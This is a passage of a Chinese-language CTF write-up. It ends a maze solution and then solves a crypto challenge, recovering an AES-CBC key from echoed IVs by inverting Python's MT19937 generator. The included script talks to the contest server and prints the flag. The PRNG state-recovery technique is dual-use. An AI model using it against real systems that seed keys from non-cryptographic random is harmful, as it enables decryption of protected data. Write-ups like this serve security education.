&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; w += ways[i][j +&nbsp;1]
&nbsp; &nbsp; &nbsp; &nbsp; ways[i][j] = w

x = y =&nbsp;0
path = []
while&nbsp;(x, y) != (N -&nbsp;1, N -&nbsp;1):
&nbsp; &nbsp;&nbsp;for&nbsp;ch, nx, ny&nbsp;in&nbsp;(("R", x, y +&nbsp;1), ("D", x +&nbsp;1, y)):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;0&nbsp;<= nx < N&nbsp;and&nbsp;0&nbsp;<= ny < N&nbsp;and&nbsp;maze[nx][ny] ==&nbsp;0&nbsp;and&nbsp;ways[nx][ny] >&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; path.append(ch)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x, y = nx, ny
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

s =&nbsp;"".join(path)
flag =&nbsp;"flag{"&nbsp;+ hashlib.md5(f"{s}:{len(s)}".encode()).hexdigest() +&nbsp;"}"
print(s)
print(flag)

本地运行 maze.exe,输入该路径后输出:

路径长度: 98
Flag: flag{a3fa97e1e52759ea6b4122c7008cb9e5}

crypto1:againCBC

摘要

服务用固定 AES-CBC 密钥反复加密 flag,但每次都会用 random.randbytes(16) 生成新 IV 并完整回显。Python random 是 MT19937,收集对齐的 624 个 32-bit 输出即可还原状态、反向 twist 恢复密钥,再解密任意一份密文。

解题过程

题目源码:

from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES
from&nbsp;Crypto.Util.Padding&nbsp;import&nbsp;pad
from&nbsp;random&nbsp;import&nbsp;randbytes
from&nbsp;secret&nbsp;import&nbsp;flag

key = randbytes(16)

while&nbsp;input(">>> "):
&nbsp; &nbsp; aes = AES.new(key, AES.MODE_CBC, iv=randbytes(16))
&nbsp; &nbsp; print("your gift: "&nbsp;+ (aes.iv + aes.encrypt(pad(flag,&nbsp;16))).hex())

远程:nc challenge.xiaoyuyc.com 24372

漏洞 1:密钥与 IV 共用同一 MT19937

  • 位置:key = randbytes(16) 以及循环内 iv=randbytes(16)。
  • 触发:任意非空输入都会再生成并回显一组 IV || C。
  • 成因:random.randbytes(n) 实现为 getrandbits(n*8).to_bytes(n, 'little'),每次 16 字节对应 4 个连续 32-bit MT 输出。
  • 影响:IV 是已知的 PRNG 输出;密钥是同一生成器更早的 4 个输出。
  • 利用:收集足够 IV,untemper 得到内部状态,再 untwist 回到生成 key 时的状态。
  • 验证:本地用 Random(0xDEADBEEF) 复现同一流程,恢复出的 key 与真实 key 完全一致。

Python 新 Random 的 mti 初始为 624(刚 twist 完)。key 消耗 4 个 word 后 mti=4。再输出 155 个 IV 后:4 + 155*4 = 624,恰好再次 twist。随后 156 个 IV 就是一整批对齐的 624 个输出。

漏洞 2:AES-CBC 本身不提供完整性,拿到 key 即可解密

  • 位置:aes.encrypt(pad(flag, 16)),并把 aes.iv 明文拼接返回。
  • 触发:任意一次查询。
  • 成因:密钥一旦从 PRNG 恢复,CBC 解密只依赖 key 与该次 IV。
  • 影响:任意一份 gift 都可直接解密出 flag。
  • 利用 / 验证:用恢复的 key 对第一份 gift[16:] 做 AES-CBC decrypt + unpad,得到 flag{...}。

第 1 步:收集对齐 IV、反向 twist、解密

#!/usr/bin/env python3
import&nbsp;socket
from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES
from&nbsp;Crypto.Util.Padding&nbsp;import&nbsp;unpad

HOST, PORT =&nbsp;"challenge.xiaoyuyc.com",&nbsp;24372
N, M =&nbsp;624,&nbsp;397
MATRIX_A =&nbsp;0x9908B0DF
UPPER_MASK =&nbsp;0x80000000
LOWER_MASK =&nbsp;0x7FFFFFFF

def&nbsp;unshift_right(x, shift):
&nbsp; &nbsp; res = x
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(32):
&nbsp; &nbsp; &nbsp; &nbsp; res = x ^ (res >> shift)
&nbsp; &nbsp;&nbsp;return&nbsp;res

def&nbsp;unshift_left(x, shift, mask):
&nbsp; &nbsp; res = x
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(32):
&nbsp; &nbsp; &nbsp; &nbsp; res = x ^ ((res << shift) & mask)
&nbsp; &nbsp;&nbsp;return&nbsp;res

def&nbsp;untemper(v):
&nbsp; &nbsp; v = unshift_right(v,&nbsp;18)
&nbsp; &nbsp; v = unshift_left(v,&nbsp;15,&nbsp;0xEFC60000)
&nbsp; &nbsp; v = unshift_left(v,&nbsp;7,&nbsp;0x9D2C5680)
&nbsp; &nbsp; v = unshift_right(v,&nbsp;11)
&nbsp; &nbsp;&nbsp;return&nbsp;v

def&nbsp;temper(y):
&nbsp; &nbsp; y ^= (y >>&nbsp;11)
&nbsp; &nbsp; y ^= (y <<&nbsp;7) &&nbsp;0x9D2C5680
&nbsp; &nbsp; y ^= (y <<&nbsp;15) &&nbsp;0xEFC60000
&nbsp; &nbsp; y ^= (y >>&nbsp;18)
&nbsp; &nbsp;&nbsp;return&nbsp;y &&nbsp;0xFFFFFFFF

def&nbsp;untwist(mt):
&nbsp; &nbsp; w, n, m =&nbsp;32,&nbsp;624,&nbsp;397
&nbsp; &nbsp; a =&nbsp;0x9908B0DF
&nbsp; &nbsp; MT = mt[:]
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(n -&nbsp;1,&nbsp;-1,&nbsp;-1):
&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp; tmp = MT[i] ^ MT[(i + m) % n]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;tmp & (1&nbsp;<< (w -&nbsp;1)):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tmp ^= a
&nbsp; &nbsp; &nbsp; &nbsp; result = (tmp <<&nbsp;1) & (1&nbsp;<< (w -&nbsp;1))
&nbsp; &nbsp; &nbsp; &nbsp; tmp = MT[(i -&nbsp;1&nbsp;+ n) % n] ^ MT[(i + m -&nbsp;1) % n]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;tmp & (1&nbsp;<< (w -&nbsp;1)):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tmp ^= a
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result |=&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; result |= (tmp <<&nbsp;1) & ((1&nbsp;<< (w -&nbsp;1)) -&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp; MT[i] = result
&nbsp; &nbsp;&nbsp;return&nbsp;MT

def&nbsp;words_from_bytes(b):
&nbsp; &nbsp;&nbsp;return&nbsp;[int.from_bytes(b[i:i +&nbsp;4],&nbsp;"little")&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0, len(b),&nbsp;4)]

def&nbsp;bytes_from_words(ws):
&nbsp; &nbsp;&nbsp;return&nbsp;b"".join(w.to_bytes(4,&nbsp;"little")&nbsp;for&nbsp;w&nbsp;in&nbsp;ws)

def&nbsp;recover_key(ivs):
&nbsp; &nbsp; words = []
&nbsp; &nbsp;&nbsp;for&nbsp;iv&nbsp;in&nbsp;ivs:
&nbsp; &nbsp; &nbsp; &nbsp; words.extend(words_from_bytes(iv))
&nbsp; &nbsp; state = [untemper(w)&nbsp;for&nbsp;w&nbsp;in&nbsp;words]
&nbsp; &nbsp; prev = untwist(state)
&nbsp; &nbsp;&nbsp;return&nbsp;bytes_from_words(temper(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;prev[:4])

def&nbsp;recv_until(s, marker=b">>> "):
&nbsp; &nbsp; buf =&nbsp;b""
&nbsp; &nbsp;&nbsp;while&nbsp;not&nbsp;buf.endswith(marker):
&nbsp; &nbsp; &nbsp; &nbsp; chunk = s.recv(4096)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;chunk:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;EOFError(buf)
&nbsp; &nbsp; &nbsp; &nbsp; buf += chunk
&nbsp; &nbsp;&nbsp;return&nbsp;buf

def&nbsp;main():
&nbsp; &nbsp; s = socket.create_connection((HOST, PORT), timeout=30)
&nbsp; &nbsp; recv_until(s)
&nbsp; &nbsp; gifts = []
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(155&nbsp;+&nbsp;156):
&nbsp; &nbsp; &nbsp; &nbsp; s.sendall(b"a\n")
&nbsp; &nbsp; &nbsp; &nbsp; line =&nbsp;b""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;b"\n"&nbsp;not&nbsp;in&nbsp;line:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = s.recv(4096)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;chunk:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;EOFError(line)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line += chunk
&nbsp; &nbsp; &nbsp; &nbsp; hx = line.decode().split("your gift: ",&nbsp;1)[1].split()[0]
&nbsp; &nbsp; &nbsp; &nbsp; gifts.append(bytes.fromhex(hx))

&nbsp; &nbsp; key = recover_key([g[:16]&nbsp;for&nbsp;g&nbsp;in&nbsp;gifts[155:155&nbsp;+&nbsp;156]])
&nbsp; &nbsp; ct = gifts[0]
&nbsp; &nbsp; pt = unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]),&nbsp;16)
&nbsp; &nbsp; print(pt.decode())

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

运行输出:

flag{b110a659-ebf9-4073-9b1c-b52416cc621e}

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《第一届创宇杯网络安全技能大赛WP》

评论:0   参与:  0